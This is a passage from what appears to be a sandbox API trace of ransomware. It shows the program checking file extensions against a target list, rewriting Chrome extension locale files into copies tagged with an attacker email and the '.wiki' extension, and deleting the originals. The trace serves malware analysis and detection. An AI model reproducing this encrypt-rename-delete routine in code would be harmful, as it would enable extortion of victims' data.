data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json")) returned 1 [0173.748] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json") returned 152 [0173.748] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json") returned 152 [0173.748] lstrlenW (lpString=".doc") returned 4 [0173.748] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.748] lstrlenW (lpString=".docx") returned 5 [0173.748] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.749] lstrlenW (lpString=".pdf") returned 4 [0173.749] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.749] lstrlenW (lpString=".xls") returned 4 [0173.749] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.749] lstrlenW (lpString=".xlsx") returned 5 [0173.749] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.749] lstrlenW (lpString=".ppt") returned 4 [0173.749] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.749] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json") returned 152 [0173.749] lstrlenW (lpString=".zip") returned 4 [0173.749] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.749] lstrlenW (lpString=".rar") returned 4 [0173.749] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.749] lstrlenW (lpString=".bz2") returned 4 [0173.749] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.749] lstrlenW (lpString=".7z") returned 3 [0173.749] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.749] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json") returned 152 [0173.749] lstrlenW (lpString=".dbf") returned 4 [0173.749] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.749] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json") returned 152 [0173.749] lstrlenW (lpString=".1cd") returned 4 [0173.749] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.749] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json") returned 152 [0173.749] lstrlenW (lpString=".jpg") returned 4 [0173.749] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.749] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json") returned 152 [0173.749] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json") returned 152 [0173.749] lstrlenW (lpString=".doc") returned 4 [0173.749] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.750] lstrlenW (lpString=".docx") returned 5 [0173.750] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.750] lstrlenW (lpString=".pdf") returned 4 [0173.750] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.750] lstrlenW (lpString=".xls") returned 4 [0173.750] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.750] lstrlenW (lpString=".xlsx") returned 5 [0173.750] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.750] lstrlenW (lpString=".ppt") returned 4 [0173.750] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.750] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json") returned 152 [0173.750] lstrlenW (lpString=".zip") returned 4 [0173.750] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.750] lstrlenW (lpString=".rar") returned 4 [0173.750] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.750] lstrlenW (lpString=".bz2") returned 4 [0173.750] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.750] lstrlenW (lpString=".7z") returned 3 [0173.750] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.750] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json") returned 152 [0173.750] lstrlenW (lpString=".dbf") returned 4 [0173.750] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.750] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json") returned 152 [0173.750] lstrlenW (lpString=".1cd") returned 4 [0173.750] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.750] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json") returned 152 [0173.750] lstrlenW (lpString=".jpg") returned 4 [0173.750] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.751] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.751] lstrlenW (lpString="messages.json") returned 13 [0173.751] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.751] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=257) returned 1 [0173.751] CloseHandle (hObject=0x19c) returned 1 [0173.751] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json")) returned 0x2020 [0173.751] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.751] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.752] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.752] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.752] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.752] GetLastError () returned 0x0 [0173.752] ReadFile (in: hFile=0x19c, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x101, lpOverlapped=0x0) returned 1 [0173.753] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x110, lpOverlapped=0x0) returned 1 [0173.754] ReadFile (in: hFile=0x19c, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.754] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.754] SetEndOfFile (hFile=0x1a0) returned 1 [0173.754] CloseHandle (hObject=0x1a0) returned 1 [0173.754] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.754] SetEndOfFile (hFile=0x19c) returned 1 [0173.755] CloseHandle (hObject=0x19c) returned 1 [0173.755] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.755] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json")) returned 1 [0173.756] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json") returned 152 [0173.756] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json") returned 152 [0173.756] lstrlenW (lpString=".doc") returned 4 [0173.756] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.756] lstrlenW (lpString=".docx") returned 5 [0173.756] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.756] lstrlenW (lpString=".pdf") returned 4 [0173.756] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.756] lstrlenW (lpString=".xls") returned 4 [0173.756] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.756] lstrlenW (lpString=".xlsx") returned 5 [0173.756] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.756] lstrlenW (lpString=".ppt") returned 4 [0173.756] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.756] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json") returned 152 [0173.756] lstrlenW (lpString=".zip") returned 4 [0173.756] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.756] lstrlenW (lpString=".rar") returned 4 [0173.756] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.756] lstrlenW (lpString=".bz2") returned 4 [0173.756] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.756] lstrlenW (lpString=".7z") returned 3 [0173.756] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.756] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json") returned 152 [0173.756] lstrlenW (lpString=".dbf") returned 4 [0173.756] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.757] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json") returned 152 [0173.757] lstrlenW (lpString=".1cd") returned 4 [0173.757] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.757] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json") returned 152 [0173.757] lstrlenW (lpString=".jpg") returned 4 [0173.757] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.757] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json") returned 152 [0173.757] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json") returned 152 [0173.757] lstrlenW (lpString=".doc") returned 4 [0173.757] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.757] lstrlenW (lpString=".docx") returned 5 [0173.757] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.757] lstrlenW (lpString=".pdf") returned 4 [0173.757] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.757] lstrlenW (lpString=".xls") returned 4 [0173.757] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.757] lstrlenW (lpString=".xlsx") returned 5 [0173.757] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.757] lstrlenW (lpString=".ppt") returned 4 [0173.757] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.757] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json") returned 152 [0173.757] lstrlenW (lpString=".zip") returned 4 [0173.757] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.757] lstrlenW (lpString=".rar") returned 4 [0173.757] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.757] lstrlenW (lpString=".bz2") returned 4 [0173.757] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.757] lstrlenW (lpString=".7z") returned 3 [0173.757] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.758] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json") returned 152 [0173.758] lstrlenW (lpString=".dbf") returned 4 [0173.758] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.758] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json") returned 152 [0173.758] lstrlenW (lpString=".1cd") returned 4 [0173.758] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.758] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json") returned 152 [0173.758] lstrlenW (lpString=".jpg") returned 4 [0173.758] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.758] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.758] lstrlenW (lpString="messages.json") returned 13 [0173.758] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.758] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=260) returned 1 [0173.759] CloseHandle (hObject=0x19c) returned 1 [0173.759] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json")) returned 0x2020 [0173.759] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.759] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.759] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.759] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.759] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.982] GetLastError () returned 0x0 [0173.982] ReadFile (in: hFile=0x19c, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x104, lpOverlapped=0x0) returned 1 [0173.983] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x110, lpOverlapped=0x0) returned 1 [0173.984] ReadFile (in: hFile=0x19c, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.984] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.984] SetEndOfFile (hFile=0x1a0) returned 1 [0173.985] CloseHandle (hObject=0x1a0) returned 1 [0173.985] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.985] SetEndOfFile (hFile=0x19c) returned 1 [0173.985] CloseHandle (hObject=0x19c) returned 1 [0173.986] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.986] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json")) returned 1 [0173.986] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json") returned 153 [0173.986] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json") returned 153 [0173.986] lstrlenW (lpString=".doc") returned 4 [0173.986] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.986] lstrlenW (lpString=".docx") returned 5 [0173.986] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.986] lstrlenW (lpString=".pdf") returned 4 [0173.986] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.986] lstrlenW (lpString=".xls") returned 4 [0173.986] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.986] lstrlenW (lpString=".xlsx") returned 5 [0173.986] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.986] lstrlenW (lpString=".ppt") returned 4 [0173.986] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.986] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json") returned 153 [0173.986] lstrlenW (lpString=".zip") returned 4 [0173.986] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.986] lstrlenW (lpString=".rar") returned 4 [0173.987] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.987] lstrlenW (lpString=".bz2") returned 4 [0173.987] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.987] lstrlenW (lpString=".7z") returned 3 [0173.987] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.987] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json") returned 153 [0173.987] lstrlenW (lpString=".dbf") returned 4 [0173.987] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.987] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json") returned 153 [0173.987] lstrlenW (lpString=".1cd") returned 4 [0173.987] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.987] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json") returned 153 [0173.987] lstrlenW (lpString=".jpg") returned 4 [0173.987] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.987] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json") returned 153 [0173.987] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json") returned 153 [0173.987] lstrlenW (lpString=".doc") returned 4 [0173.987] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.987] lstrlenW (lpString=".docx") returned 5 [0173.987] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.987] lstrlenW (lpString=".pdf") returned 4 [0173.987] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.987] lstrlenW (lpString=".xls") returned 4 [0173.987] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.987] lstrlenW (lpString=".xlsx") returned 5 [0173.987] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.987] lstrlenW (lpString=".ppt") returned 4 [0173.987] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.987] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS 